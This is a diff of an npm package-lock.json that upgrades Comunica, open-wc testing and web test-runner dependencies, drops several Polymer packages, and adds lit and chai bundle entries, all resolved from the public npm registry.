@@ -624,15 +118,6 @@
         "fs-extra": "^10.0.0"
       }
     },
-    "@api-components/http-method-label": {
-      "version": "3.1.5",
-      "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.5.tgz",
-      "integrity": "sha512-C6uu4jRCDXAmqxq1y7VJKCn1NUYGT+qFa07rYS/FKFT09Srg4Vgjl9VIdg9pDLBVwhhtGiUK6UnPAqzFhsof5A==",
-      "requires": {
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
-    },
     "@babel/code-frame": {
       "version": "7.15.8",
       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz",
@@ -991,9 +476,9 @@
       }
     },
     "@comunica/actor-http-node-fetch": {
-      "version": "1.22.2",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.2.tgz",
-      "integrity": "sha512-G4ryHkWVVTpBHZkksHRieatdQJLMI7xqihW3Ikz7ZKwnygt1ZMjV/NJ9SPnvqzuNWbwOM3wd12Hr/m+A0Cd8DA==",
+      "version": "1.22.3",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.3.tgz",
+      "integrity": "sha512-e2J8g32QgwcbysOQkFDio757oaPLCGpSs7rRDoGq/daGS8l1m7Ugzhx7Vh3NHcCI3XXrymMOBzMT+ku5ddJbNg==",
       "dev": true,
       "requires": {
         "@comunica/context-entries": "^1.22.0",
@@ -1007,9 +492,9 @@
       "dev": true
     },
     "@comunica/actor-init-sparql": {
-      "version": "1.22.2",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.2.tgz",
-      "integrity": "sha512-uWaGnDW2JzSC/E6N1DE0mehuCVK7UuelPa6IrmdcWPMUyd6+0Se1cVQY5H16jlWttN7rmwtEkBMTN0efhNPuag==",
+      "version": "1.22.3",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.3.tgz",
+      "integrity": "sha512-rtD4ssn2JSrHHhpoHfvZoe4RpYkSZVuvWb2gh9Pu/sTo4wyIaCuRBc4Wn8N3ZnA4omBzv6/kM2NUF47eabmoBA==",
       "dev": true,
       "requires": {
         "@comunica/actor-abstract-bindings-hash": "^1.22.0",
@@ -1017,7 +502,7 @@
         "@comunica/actor-context-preprocess-source-to-destination": "^1.22.0",
         "@comunica/actor-http-memento": "^1.22.1",
         "@comunica/actor-http-native": "^1.22.1",
-        "@comunica/actor-http-node-fetch": "^1.22.2",
+        "@comunica/actor-http-node-fetch": "^1.22.3",
         "@comunica/actor-http-proxy": "^1.22.1",
         "@comunica/actor-optimize-query-operation-join-bgp": "^1.22.0",
         "@comunica/actor-query-operation-ask": "^1.22.0",
@@ -1048,7 +533,7 @@
         "@comunica/actor-query-operation-project": "^1.22.0",
         "@comunica/actor-query-operation-quadpattern": "^1.22.0",
         "@comunica/actor-query-operation-reduced-hash": "^1.22.0",
-        "@comunica/actor-query-operation-service": "^1.22.0",
+        "@comunica/actor-query-operation-service": "^1.22.3",
         "@comunica/actor-query-operation-slice": "^1.22.0",
         "@comunica/actor-query-operation-sparql-endpoint": "^1.22.2",
         "@comunica/actor-query-operation-union": "^1.22.0",
@@ -1063,7 +548,7 @@
         "@comunica/actor-query-operation-update-move-rewrite": "^1.22.0",
         "@comunica/actor-query-operation-values": "^1.22.0",
         "@comunica/actor-rdf-dereference-fallback": "^1.22.2",
-        "@comunica/actor-rdf-dereference-http-parse": "^1.22.2",
+        "@comunica/actor-rdf-dereference-http-parse": "^1.22.3",
         "@comunica/actor-rdf-join-multi-smallest": "^1.22.0",
         "@comunica/actor-rdf-join-nestedloop": "^1.22.0",
         "@comunica/actor-rdf-join-symmetrichash": "^1.22.0",
@@ -1156,13 +641,13 @@
       }
     },
     "@comunica/actor-init-sparql-rdfjs": {
-      "version": "1.22.2",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.2.tgz",
-      "integrity": "sha512-nTyh6OxzdiA22nkRyX+j4EZ9sWj8oHoP0MPiGEU2LOWJkVIIKVxkoj4q1H/wVAsni4FL4FZSGBvrMkxl1GyT6Q==",
+      "version": "1.22.3",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.3.tgz",
+      "integrity": "sha512-twc9yf1nOCuCxuSYREODKRN1WJ2updEJ6Y5AllrY1VnBAiP1hWWJxn65KGjE6e9GDvfW1MTfPuXtqxlqIsDn8w==",
       "dev": true,
       "requires": {
         "@comunica/actor-abstract-mediatyped": "^1.22.0",
-        "@comunica/actor-init-sparql": "^1.22.2",
+        "@comunica/actor-init-sparql": "^1.22.3",
         "@comunica/actor-query-operation-ask": "^1.22.0",
         "@comunica/actor-query-operation-bgp-empty": "^1.22.0",
         "@comunica/actor-query-operation-bgp-left-deep-smallest": "^1.22.0",
@@ -1186,7 +671,7 @@
         "@comunica/actor-query-operation-path-zero-or-one": "^1.22.0",
         "@comunica/actor-query-operation-project": "^1.22.0",
         "@comunica/actor-query-operation-quadpattern": "^1.22.0",
-        "@comunica/actor-query-operation-service": "^1.22.0",
+        "@comunica/actor-query-operation-service": "^1.22.3",
         "@comunica/actor-query-operation-slice": "^1.22.0",
         "@comunica/actor-query-operation-union": "^1.22.0",
         "@comunica/actor-query-operation-values": "^1.22.0",
@@ -1574,9 +1059,9 @@
       }
     },
     "@comunica/actor-query-operation-service": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-service/-/actor-query-operation-service-1.22.0.tgz",
-      "integrity": "sha512-1l1Tc4XRCW+CC8BqK/+2dzcRiuPZ0GF0ZJ3wbRmNCjatkNpQb4hFOrwKAn9EC93oPcaVKUJlVlyxxz4toGNWEA==",
+      "version": "1.22.3",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-service/-/actor-query-operation-service-1.22.3.tgz",
+      "integrity": "sha512-z+UUJjgYppnZwV+Oz3ZVQBZpLxUAFrAtvpuVSUmjJn6ab76X29ZQY13czY2y6TfiBhbbsW+HL5kuv0g3SEOHug==",
       "dev": true,
       "requires": {
         "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0",
@@ -1730,9 +1215,9 @@
       "dev": true
     },
     "@comunica/actor-rdf-dereference-http-parse": {
-      "version": "1.22.2",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.2.tgz",
-      "integrity": "sha512-SObiiBJQDX4HL83DK2RGtBOvwsEJvSsWx2pJraPGWOYW4RArblvSoOoug3urLtNj23s3aU63t15/rOzXOBK8rw==",
+      "version": "1.22.3",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.3.tgz",
+      "integrity": "sha512-OBtJTHA8OXAWF3+FJ7n0R1i8nGzxD2xK18mgMPu4JId9r9bUS4RMKCDWa8MIG6p9Hd7SleuS9bC48w5vm07yww==",
       "dev": true,
       "requires": {
         "cross-fetch": "^3.0.5",
@@ -2616,6 +2101,15 @@
         }
       }
     },
+    "@esm-bundle/chai": {
+      "version": "4.3.4",
+      "resolved": "https://registry.npmjs.org/@esm-bundle/chai/-/chai-4.3.4.tgz",
+      "integrity": "sha512-6Tx35wWiNw7X0nLY9RMx8v3EL8SacCFW+eEZOE9Hc+XxmU5HFE2AFEg+GehUZpiyDGwVvPH75ckGlqC7coIPnA==",
+      "dev": true,
+      "requires": {
+        "@types/chai": "^4.2.12"
+      }
+    },
     "@github/time-elements": {
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/@github/time-elements/-/time-elements-3.1.2.tgz",
@@ -2655,6 +2149,12 @@
       "integrity": "sha512-wdppn25U8z/2yiaT6YGquE6X8sSv7hNMWSXYSSU1jGv/yd6XqjXgTDJ8KP4NgjTXfJ3GbRjeeb8RTV7a/VpM+w==",
       "dev": true
     },
+    "@lit/reactive-element": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@lit/reactive-element/-/reactive-element-1.0.1.tgz",
+      "integrity": "sha512-nSD5AA2AZkKuXuvGs8IK7K5ZczLAogfDd26zT9l6S7WzvqALdVWcW5vMUiTnZyj5SPcNwNNANj0koeV1ieqTFQ==",
+      "dev": true
+    },
     "@nodelib/fs.scandir": {
       "version": "2.1.5",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
@@ -2705,9 +2205,9 @@
       "integrity": "sha512-UfdK1MPnR6T7f3svzzYBfu3qBkkZ/KsPhcpc3JYhsUY4hbpwNF9wEQtD4Z+/mRqMTJrKg++YSxIxE0FBhY3RIw=="
     },
     "@open-wc/eslint-config": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/@open-wc/eslint-config/-/eslint-config-4.3.0.tgz",
-      "integrity": "sha512-kCxFWQ1AR4meTmWJGnK36LJYqDJeFGjlj6n4vLjAW3/c1VUyYQKL90vrNKy/OHS9kTjc9dcH5D64myAbNx6r1w==",
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/@open-wc/eslint-config/-/eslint-config-7.0.0.tgz",
+      "integrity": "sha512-iuWgs5XSPqb9zhdHIeKDSzepnjRyhoYSoS6RI+vyLMfVFRxZoqt0Yv4Q8xJ8yByXbJyakmvpukTyEKbcuIQ7Uw==",
       "dev": true,
       "requires": {
         "eslint": "^7.6.0",
@@ -2715,7 +2215,7 @@
         "eslint-plugin-html": "^6.0.0",
         "eslint-plugin-import": "^2.18.2",
         "eslint-plugin-lit": "^1.2.0",
-        "eslint-plugin-lit-a11y": "^1.0.1",
+        "eslint-plugin-lit-a11y": "^2.1.0",
         "eslint-plugin-no-only-tests": "^2.4.0",
         "eslint-plugin-wc": "^1.2.0"
       },
@@ -2801,53 +2301,50 @@
       }
     },
     "@open-wc/scoped-elements": {
-      "version": "1.3.4",
-      "resolved": "https://registry.npmjs.org/@open-wc/scoped-elements/-/scoped-elements-1.3.4.tgz",
-      "integrity": "sha512-WD+ObocdzcFCpBxnc8bQa7NoATeA+tJrK0/c/yV1Nx4leV+1PmJNNu+WCcuckBEGd0Op6FP8w1TidoqmVVba6g==",
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@open-wc/scoped-elements/-/scoped-elements-2.0.1.tgz",
+      "integrity": "sha512-JS6ozxUFwFX3+Er91v9yQzNIaFn7OnE0iESKTbFvkkKdNwvAPtp1fpckBKIvWk8Ae9ZcoI9DYZuT2DDbMPcadA==",
       "dev": true,
       "requires": {
+        "@lit/reactive-element": "^1.0.0",
         "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-html": "^1.0.0"
+        "@webcomponents/scoped-custom-element-registry": "^0.0.3"
       }
     },
     "@open-wc/semantic-dom-diff": {
-      "version": "0.19.4",
-      "resolved": "https://registry.npmjs.org/@open-wc/semantic-dom-diff/-/semantic-dom-diff-0.19.4.tgz",
-      "integrity": "sha512-jiqM40e8WKOPIzf48lFlf+2eHhNiIeumprFQ05xCrktRQtvUlBpYNIQ0427z/aGr+56p8KIiWzx1K/0lbLWaqw==",
+      "version": "0.19.5",
+      "resolved": "https://registry.npmjs.org/@open-wc/semantic-dom-diff/-/semantic-dom-diff-0.19.5.tgz",
+      "integrity": "sha512-Wi0Fuj3dzqlWClU0y+J4k/nqTcH0uwgOWxZXPyeyG3DdvuyyjgiT4L4I/s6iVShWQvvEsyXnj7yVvixAo3CZvg==",
       "dev": true,
       "requires": {
-        "@types/chai": "^4.2.11"
+        "@types/chai": "^4.2.11",
+        "@web/test-runner-commands": "^0.5.7"
       }
     },
     "@open-wc/testing": {
-      "version": "2.5.33",
-      "resolved": "https://registry.npmjs.org/@open-wc/testing/-/testing-2.5.33.tgz",
-      "integrity": "sha512-+EJNs0i+VV4nE+BrG70l2DNGXOZTSrluruaaU06HUSk57ZlKa+kIxWmkLxCOLlbgnQgrPrQWxbs3lgB1tIx/YA==",
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@open-wc/testing/-/testing-3.0.1.tgz",
+      "integrity": "sha512-8ZVdmNT8e0hcB0tGrdfsvWydpDUr+1oeQ4XRm2T3Ck+nTJIddQO28tO0OvDLrJU/5WtT7LLZDqRpM32SPdcxjA==",
       "dev": true,
       "requires": {
+        "@esm-bundle/chai": "^4.3.4",
         "@open-wc/chai-dom-equals": "^0.12.36",
-        "@open-wc/semantic-dom-diff": "^0.19.3",
-        "@open-wc/testing-helpers": "^1.8.12",
+        "@open-wc/semantic-dom-diff": "^0.19.5",
+        "@open-wc/testing-helpers": "^2.0.1",
         "@types/chai": "^4.2.11",
         "@types/chai-dom": "^0.0.9",
-        "@types/mocha": "^5.2.7",
         "@types/sinon-chai": "^3.2.3",
-        "chai": "^4.2.0",
-        "chai-a11y-axe": "^1.3.1",
-        "chai-dom": "^1.8.1",
-        "mocha": "^6.2.2",
-        "sinon-chai": "^3.5.0"
+        "chai-a11y-axe": "^1.3.2"
       }
     },
     "@open-wc/testing-helpers": {
-      "version": "1.8.12",
-      "resolved": "https://registry.npmjs.org/@open-wc/testing-helpers/-/testing-helpers-1.8.12.tgz",
-      "integrity": "sha512-+4exEHYvnFqI1RGDDIKFHPZ7Ws5NK1epvEku3zLaOYN3zc+huX19SndNc5+X++v8A+quN/iXbHlh80ROyNaYDA==",
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@open-wc/testing-helpers/-/testing-helpers-2.0.1.tgz",
+      "integrity": "sha512-kBg3TJeqVCvVhBLPGRnlgkkghl854Ohp8xt8vuyDwWJUSpM7eimaXbn/YbRVVT5PScodjvMO9HDl2U8LX63CIw==",
       "dev": true,
       "requires": {
-        "@open-wc/scoped-elements": "^1.2.4",
-        "lit-element": "^2.2.1",
-        "lit-html": "^1.0.0"
+        "@open-wc/scoped-elements": "^2.0.1",
+        "lit": "^2.0.0"
       }
     },
     "@pawel-up/data-mock": {
@@ -2863,86 +2360,8 @@
     "@polymer/font-roboto": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/@polymer/font-roboto/-/font-roboto-3.0.2.tgz",
-      "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA=="
-    },
-    "@polymer/iron-a11y-announcer": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npmjs.org/@polymer/iron-a11y-announcer/-/iron-a11y-announcer-3.2.0.tgz",
-      "integrity": "sha512-We+hyaFHcg7Ke8ovsoxUpYEXFIJLHxMCDaLehTB4dELS+C+K0zMnGSiqQvb/YzGS+nSYpAfkQIyg1msOCdHMtA==",
-      "requires": {
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/iron-ajax": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/iron-ajax/-/iron-ajax-3.0.1.tgz",
-      "integrity": "sha512-7+TPEAfWsRdhj1Y8UeF1759ktpVu+c3sG16rJiUC3wF9+woQ9xI1zUm2d59i7Yc3aDEJrR/Q8Y262KlOvyGVNg==",
-      "requires": {
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/iron-flex-layout": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/iron-flex-layout/-/iron-flex-layout-3.0.1.tgz",
-      "integrity": "sha512-7gB869czArF+HZcPTVSgvA7tXYFze9EKckvM95NB7SqYF+NnsQyhoXgKnpFwGyo95lUjUW9TFDLUwDXnCYFtkw==",
-      "requires": {
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/iron-form": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/iron-form/-/iron-form-3.0.1.tgz",
-      "integrity": "sha512-JwSQXHjYALsytCeBkXlY8aRwqgZuYIqzOk3iHuugb1RXOdZ7MZHyJhMDVBbscHjxqPKu/KaVzAjrcfwNNafzEA==",
-      "requires": {
-        "@polymer/iron-ajax": "^3.0.0-pre.26",
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/iron-range-behavior": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/iron-range-behavior/-/iron-range-behavior-3.0.1.tgz",
-      "integrity": "sha512-+jtL9v45M/T1RJleWyQaNH84S9/mIIR+AjNbYIttbKGp1eG+98j8MDWe7LXNtg79V2LQnE/+VS82cBeELyGVeg==",
-      "requires": {
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/paper-progress": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/paper-progress/-/paper-progress-3.0.1.tgz",
-      "integrity": "sha512-5nguG+tmnyoaWKVNG8Smtno2uLSPBgEsT3f20JY8yJTjUBYWaqa8E3l5RLkTRXgA4x9OnvLb8/CdlQWXQIogBg==",
-      "requires": {
-        "@polymer/iron-flex-layout": "^3.0.0-pre.26",
-        "@polymer/iron-range-behavior": "^3.0.0-pre.26",
-        "@polymer/paper-styles": "^3.0.0-pre.26",
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/paper-styles": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/paper-styles/-/paper-styles-3.0.1.tgz",
-      "integrity": "sha512-y6hmObLqlCx602TQiSBKHqjwkE7xmDiFkoxdYGaNjtv4xcysOTdVJsDR/R9UHwIaxJ7gHlthMSykir1nv78++g==",
-      "requires": {
-        "@polymer/font-roboto": "^3.0.1",
-        "@polymer/iron-flex-layout": "^3.0.0-pre.26",
-        "@polymer/polymer": "^3.0.0"
-      }
-    },
-    "@polymer/polymer": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/@polymer/polymer/-/polymer-3.4.1.tgz",
-      "integrity": "sha512-KPWnhDZibtqKrUz7enIPOiO4ZQoJNOuLwqrhV2MXzIt3VVnUVJVG5ORz4Z2sgO+UZ+/UZnPD0jqY+jmw/+a9mQ==",
-      "requires": {
-        "@webcomponents/shadycss": "^1.9.1"
-      }
-    },
-    "@polymer/prism-element": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/@polymer/prism-element/-/prism-element-3.0.1.tgz",
-      "integrity": "sha512-mam3oZZwVoxmC8i2srCxaTsvCqZF2HX4yxbm1JN9OGZS2JMwu7bnjjk7O8haoj9u6w+ocUi+vTLjYeIIoPx7vQ==",
-      "requires": {
-        "@polymer/polymer": "^3.0.0",
-        "prismjs": "^1.11.0"
-      }
+      "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA==",
+      "dev": true
     },
     "@rdfjs/types": {
       "version": "1.0.1",
@@ -3238,9 +2657,9 @@
       "dev": true
     },
     "@types/mocha": {
-      "version": "5.2.7",
-      "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-5.2.7.tgz",
-      "integrity": "sha512-NYrtPht0wGzhwe9+/idPaBB+TqkY9AhTvOLMkThm0IoEfLaiVQZwBwyJ5puCkO3AUCWrmcoePjp2mbFocKy4SQ==",
+      "version": "8.2.3",
+      "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-8.2.3.tgz",
+      "integrity": "sha512-ekGvFhFgrc2zYQoX4JeZPmVzZxw6Dtllga7iGHzfbYIYkAMUx/sAFP2GdFpLff+vdHXu5fl7WX9AT+TtqYcsyw==",
       "dev": true
     },
     "@types/n3": {
@@ -3254,9 +2673,9 @@
       }
     },
     "@types/node": {
-      "version": "16.10.3",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.10.3.tgz",
-      "integrity": "sha512-ho3Ruq+fFnBrZhUYI46n/bV2GjwzSkwuT4dTf0GkuNFmnb8nq4ny2z9JEVemFi6bdEJanHLlYfy9c6FN9B9McQ==",
+      "version": "16.11.1",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.11.1.tgz",
+      "integrity": "sha512-PYGcJHL9mwl1Ek3PLiYgyEKtwTMmkMw4vbiyz/ps3pfdRYLVv+SN7qHVAImrjdAXxgluDEw6Ph4lyv+m9UpRmA==",
       "dev": true
     },
     "@types/normalize-package-data": {
@@ -3318,9 +2737,9 @@
       }
     },
     "@types/semver": {
-      "version": "7.3.8",
-      "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.8.tgz",
-      "integrity": "sha512-D/2EJvAlCEtYFEYmmlGwbGXuK886HzyCc3nZX/tkFTQdEU8jZDAgiv08P162yB17y4ZXZoq7yFAnW4GDBb9Now==",
+      "version": "7.3.9",
+      "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.9.tgz",
+      "integrity": "sha512-L/TMpyURfBkf+o/526Zb6kd/tchUP3iBDEPjqjb+U2MAJhVRxxrmr2fwpe08E7QsV7YLcpq0tUaQ9O9x97ZIxQ==",
       "dev": true
     },
     "@types/serve-static": {
@@ -3367,6 +2786,12 @@
         "rdf-js": "^4.0.2"
       }
     },
+    "@types/trusted-types": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.2.tgz",
+      "integrity": "sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg==",
+      "dev": true
+    },
     "@types/uritemplate": {
       "version": "0.3.4",
       "resolved": "https://registry.npmjs.org/@types/uritemplate/-/uritemplate-0.3.4.tgz",
@@ -3398,9 +2823,9 @@
       }
     },
     "@types/yargs": {
-      "version": "17.0.3",
-      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.3.tgz",
-      "integrity": "sha512-K7rm3Ke3ag/pAniBe80A6J6fjoqRibvCrl3dRmtXV9eCEt9h/pZwmHX9MzjQVUc/elneQTL4Ky7XKorC71Lmxw==",
+      "version": "17.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.4.tgz",
+      "integrity": "sha512-D/wihO9WFYqwsmJI0e0qS+U09wIQtYRSBJlXWjTFGjouEuOCy0BU4N/ZK5utb00S5lW/9LO7vOpvGDd8M06NvQ==",
       "dev": true,
       "requires": {
         "@types/yargs-parser": "*"
@@ -3529,9 +2954,9 @@
       }
     },
     "@web/test-runner": {
-      "version": "0.13.18",
-      "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.18.tgz",
-      "integrity": "sha512-VeKs5RG3PbGc466Ylr0kk1S8vtXQ71Ll7g+t3bkScqlAAUo17qRpetQQjhUWQdU4uAQfteL92GLyfCc06VeYpA==",
+      "version": "0.13.20",
+      "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.20.tgz",
+      "integrity": "sha512-f5Q5KLFU+UQ6SnyghGwXGEfB61dyTE7cla3eAc8d3uPOlHs7u+6gHEuCayQPNIV+cqdHL9DWgVEwGWInyBB2kA==",
       "dev": true,
       "requires": {
         "@web/browser-logs": "^0.2.2",
@@ -3539,8 +2964,8 @@
         "@web/dev-server": "^0.1.24",
         "@web/test-runner-chrome": "^0.10.3",
         "@web/test-runner-commands": "^0.5.10",
-        "@web/test-runner-core": "^0.10.21",
-        "@web/test-runner-mocha": "^0.7.4",
+        "@web/test-runner-core": "^0.10.22",
+        "@web/test-runner-mocha": "^0.7.5",
         "camelcase": "^6.2.0",
         "command-line-args": "^5.1.1",
         "command-line-usage": "^6.1.1",
@@ -3592,20 +3017,12 @@
       "requires": {
         "@web/test-runner-core": "^0.10.20",
         "mkdirp": "^1.0.4"
-      },
-      "dependencies": {
-        "mkdirp": {
-          "version": "1.0.4",
-          "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
-          "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
-          "dev": true
-        }
       }
     },
     "@web/test-runner-core": {
-      "version": "0.10.21",
-      "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.21.tgz",
-      "integrity": "sha512-Dh1TJITyil4w22DXwCmYEyp4BBzRFxRqiUbJ/iPziT1E5heAx/pZPug1oFs83LKUc/crOcDhObz6u4ynGWz9wQ==",
+      "version": "0.10.22",
+      "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.22.tgz",
+      "integrity": "sha512-0jzJIl/PTZa6PCG/noHAFZT2DTcp+OYGmYOnZ2wcHAO3KwtJKnBVSuxgdOzFdmfvoO7TYAXo5AH+MvTZXMWsZw==",
       "dev": true,
       "requires": {
         "@babel/code-frame": "^7.12.11",
@@ -3657,21 +3074,13 @@
       }
     },
     "@web/test-runner-mocha": {
-      "version": "0.7.4",
-      "resolved": "https://registry.npmjs.org/@web/test-runner-mocha/-/test-runner-mocha-0.7.4.tgz",
-      "integrity": "sha512-EvAz6eCyBpVyXUq/bTSYpSwcSd/jH8XY+vAwS/xprWNo2WFY0LW0FcwcuWdq4LckDxTZVXaGb1dj3lDfEsOeVw==",
+      "version": "0.7.5",
+      "resolved": "https://registry.npmjs.org/@web/test-runner-mocha/-/test-runner-mocha-0.7.5.tgz",
+      "integrity": "sha512-12/OBq6efPCAvJpcz3XJs2OO5nHe7GtBibZ8Il1a0QtsGpRmuJ4/m1EF0Fj9f6KHg7JdpGo18A37oE+5hXjHwg==",
       "dev": true,
       "requires": {
         "@types/mocha": "^8.2.0",
         "@web/test-runner-core": "^0.10.20"
-      },
-      "dependencies": {
-        "@types/mocha": {
-          "version": "8.2.3",
-          "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-8.2.3.tgz",
-          "integrity": "sha512-ekGvFhFgrc2zYQoX4JeZPmVzZxw6Dtllga7iGHzfbYIYkAMUx/sAFP2GdFpLff+vdHXu5fl7WX9AT+TtqYcsyw==",
-          "dev": true
-        }
       }
     },
     "@web/test-runner-playwright": {
@@ -3685,10 +3094,11 @@
         "playwright": "^1.14.0"
       }
     },
-    "@webcomponents/shadycss": {
-      "version": "1.11.0",
-      "resolved": "https://registry.npmjs.org/@webcomponents/shadycss/-/shadycss-1.11.0.tgz",
-      "integrity": "sha512-L5O/+UPum8erOleNjKq6k58GVl3fNsEQdSOyh0EUhNmi7tHUyRuCJy1uqJiWydWcLARE5IPsMoPYMZmUGrz1JA=="
+    "@webcomponents/scoped-custom-element-registry": {
+      "version": "0.0.3",
+      "resolved": "https://registry.npmjs.org/@webcomponents/scoped-custom-element-registry/-/scoped-custom-element-registry-0.0.3.tgz",
+      "integrity": "sha512-lpSzgDCGbM99dytb3+J3Suo4+Bk1E13MPnWB42JK8GwxSAxFz+tC7TTv2hhDSIE2IirGNKNKCf3m08ecu6eAsQ==",
+      "dev": true
     },
     "JSONStream": {
       "version": "1.3.5",
@@ -3704,29 +3114,11 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz",
       "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==",
+      "dev": true,
       "requires": {
         "event-target-shim": "^5.0.0"
       }
     },
-    "abstract-leveldown": {
-      "version": "6.2.3",
-      "resolved": "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-6.2.3.tgz",
-      "integrity": "sha512-BsLm5vFMRUrrLeCcRc+G0t2qOaTzpoJQLOubq2XM72eNpjF5UdU5o/5NvlNhx95XHcAvcl8OMXr4mlg/fRgUXQ==",
-      "requires": {
-        "buffer": "^5.5.0",
-        "immediate": "^3.2.3",
-        "level-concat-iterator": "~2.0.0",
-        "level-supports": "~1.0.0",
-        "xtend": "~4.0.0"
-      },
-      "dependencies": {
-        "immediate": {
-          "version": "3.3.0",
-          "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz",
-          "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q=="
-        }
-      }
-    },
     "accepts": {
       "version": "1.3.7",
       "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz",
@@ -3738,9 +3130,10 @@
       }
     },
     "acorn": {
-      "version": "5.7.4",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz",
-      "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg=="
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+      "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "dev": true
     },
     "acorn-jsx": {
       "version": "5.3.2",
@@ -3796,11 +3189,6 @@
         "uri-js": "^4.2.2"
       }
     },
-    "amdefine": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
-      "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU="
-    },
     "amf-client-js": {
       "version": "4.7.8",
       "resolved": "https://registry.npmjs.org/amf-client-js/-/amf-client-js-4.7.8.tgz",
